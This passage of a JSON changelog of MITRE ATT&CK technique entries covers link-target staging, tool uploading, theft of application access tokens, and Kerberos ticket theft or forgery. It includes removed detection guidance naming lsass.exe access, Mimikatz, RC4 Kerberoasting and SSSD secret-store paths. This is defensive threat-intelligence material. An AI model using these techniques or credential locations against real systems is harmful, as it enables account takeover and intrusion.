during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1608/005", + "external_id": "T1608.005" + }, + { + "source_name": "Netskope GCP Redirection", + "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.", + "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection" + }, + { + "source_name": "Netskope Cloud Phishing", + "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.", + "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service" + }, + { + "source_name": "URI Unique", + "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.", + "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF" + }, + { + "source_name": "Kaspersky-masking", + "description": "Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024.", + "url": "https://www.kaspersky.com/blog/malicious-redirect-methods/50045/" + }, + { + "source_name": "Talos IPFS 2022", + "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.", + "url": "https://blog.talosintelligence.com/ipfs-abuse/" + }, + { + "source_name": "Malwarebytes Silent Librarian October 2020", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.", + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/" + }, + { + "source_name": "URI", + "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.", + "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits" + }, + { + "source_name": "URI Use", + "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.", + "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf" + }, + { + "source_name": "iOS URL Scheme", + "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.", + "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html" + }, + { + "source_name": "Intezer App Service Phishing", + "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.", + "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/" + }, + { + "source_name": "Proofpoint TA407 September 2019", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian" + }, + { + "source_name": "Cofense-redirect", + "description": "Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024.", + "url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/" + }, + { + "source_name": "mandiant-masking", + "description": "Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.", + "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Menachem Goldstein", + "Hen Porcilan", + "Diyar Saadi Ali", + "Nikola Kovac" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.552000+00:00\", \"old_value\": \"2025-04-15 22:45:40.961000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0893: Detection of Link Target" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-17 20:31:07.828000+00:00", + "modified": "2025-10-24 17:48:46.160000+00:00", + "name": "Upload Tool", + "description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1608/002", + "external_id": "T1608.002" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "Malwarebytes Heroku Skimmers", + "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.", + "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku" + }, + { + "source_name": "Dragos Heroku Watering Hole", + "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.", + "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/" + }, + { + "source_name": "Intezer App Service Phishing", + "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.", + "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:46.160000+00:00\", \"old_value\": \"2025-04-15 23:18:15.337000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0834: Detection of Upload Tool" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-04 15:54:25.684000+00:00", + "modified": "2025-10-24 17:49:04.660000+00:00", + "name": "Steal Application Access Token", + "description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts) \n\nSimilarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. \n\nIn Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.(Citation: Entra Managed Identities 2025)(Citation: SpecterOps Managed Identity 2022)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1528", + "external_id": "T1528" + }, + { + "source_name": "Amnesty OAuth Phishing Attacks, August 2019", + "description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.", + "url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/" + }, + { + "source_name": "SpecterOps Managed Identity 2022", + "description": "Andy Robbins. (2022, June 6). Managed Identity Attack Paths, Part 1: Automation Accounts. Retrieved March 18, 2025.", + "url": "https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c" + }, + { + "source_name": "Auth0 Understanding Refresh Tokens", + "description": "Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved November 17, 2024.", + "url": "https://auth0.com/learn/refresh-tokens" + }, + { + "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", + "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", + "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/" + }, + { + "source_name": "Cider Security Top 10 CICD Security Risks", + "description": "Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20220316130828/https://www.cidersecurity.io/top-10-cicd-security-risks/" + }, + { + "source_name": "Trend Micro Pawn Storm OAuth 2017", + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks" + }, + { + "source_name": "Kubernetes Service Accounts", + "description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.", + "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/" + }, + { + "source_name": "Entra Managed Identities 2025", + "description": "Microsoft Entra. (2025, February 27). How to use managed identities for Azure resources on an Azure VM to acquire an access token. Retrieved March 18, 2025.", + "url": "https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token" + }, + { + "source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019", + "description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens" + }, + { + "source_name": "Microsoft - Azure AD App Registration - May 2019", + "description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app" + }, + { + "source_name": "Microsoft - OAuth Code Authorization flow - June 2019", + "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow" + }, + { + "source_name": "Microsoft Identity Platform Protocols May 2019", + "description": "Microsoft. (n.d.). Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Suzy Schapperle - Microsoft Azure Red Team", + "Shailesh Tiwary (Indian Army)", + "Mark Wee", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", + "Ram Pliskin, Microsoft Azure Security Center", + "Jack Burns, HubSpot", + "Arun Seelagan, CISA", + "Eliraz Levi, Hunters Security", + "Alon Klayman, Hunters Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "Containers", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.660000+00:00\", \"old_value\": \"2025-04-15 19:58:49.300000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \\u201cHigh severity app permissions\\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\\n\\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\\u2019s purpose, or apps with old \\u201cLast authorized\\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\\n\\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \\u201cHigh severity app permissions\\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\\n-\\n-Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\\u2019s purpose, or apps with old \\u201cLast authorized\\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\\n-\\n-Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1021: Restrict Web-Based Content", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Modification)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0515: Detection Strategy for T1528 - Steal Application Access Token" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:12:46.830000+00:00", + "modified": "2025-10-24 17:48:41.885000+00:00", + "name": "Steal or Forge Kerberos Tickets", + "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1558", + "external_id": "T1558" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + }, + { + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" + }, + { + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + }, + { + "source_name": "Stealthbits Detect PtT 2019", + "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.", + "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + }, + { + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?p=1515" + }, + { + "source_name": "Microsoft Kerberos Golden Ticket", + "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.", + "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285" + }, + { + "source_name": "Microsoft Klist", + "description": "Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/klist" + }, + { + "source_name": "ADSecurity Kerberos Ring Decoder", + "description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020.", + "url": "https://adsecurity.org/?p=227" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tim (Wadhwa-)Brown", + "Cody Thomas, SpecterOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Logon Session: Logon Session Metadata\", \"Active Directory: Active Directory Credential Request\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.885000+00:00\", \"old_value\": \"2025-04-15 19:58:25.352000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\\n\\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n\\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \\n\\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\\n\\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\\n\\nMonitor for unusual processes accessing\\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.\", \"diff\": \"--- \\n+++ \\n@@ -1,11 +0,0 @@\\n-Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\\n-\\n-Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\\n-\\n-Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \\n-\\n-Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\\n-\\n-Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\\n-\\n-Monitor for unusual processes accessing\\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.\"}}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1041: Encrypt Sensitive Information", + "M1043: Credential Access Protection", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0026: Active Directory (Active Directory Credential Request)", + "DS0028: Logon Session (Logon Session Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0522: Detect Kerberos Ticket Theft or Forgery (T1558)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-08-24 13:43:00.028000+00:00", + "modified": "2025-10-24 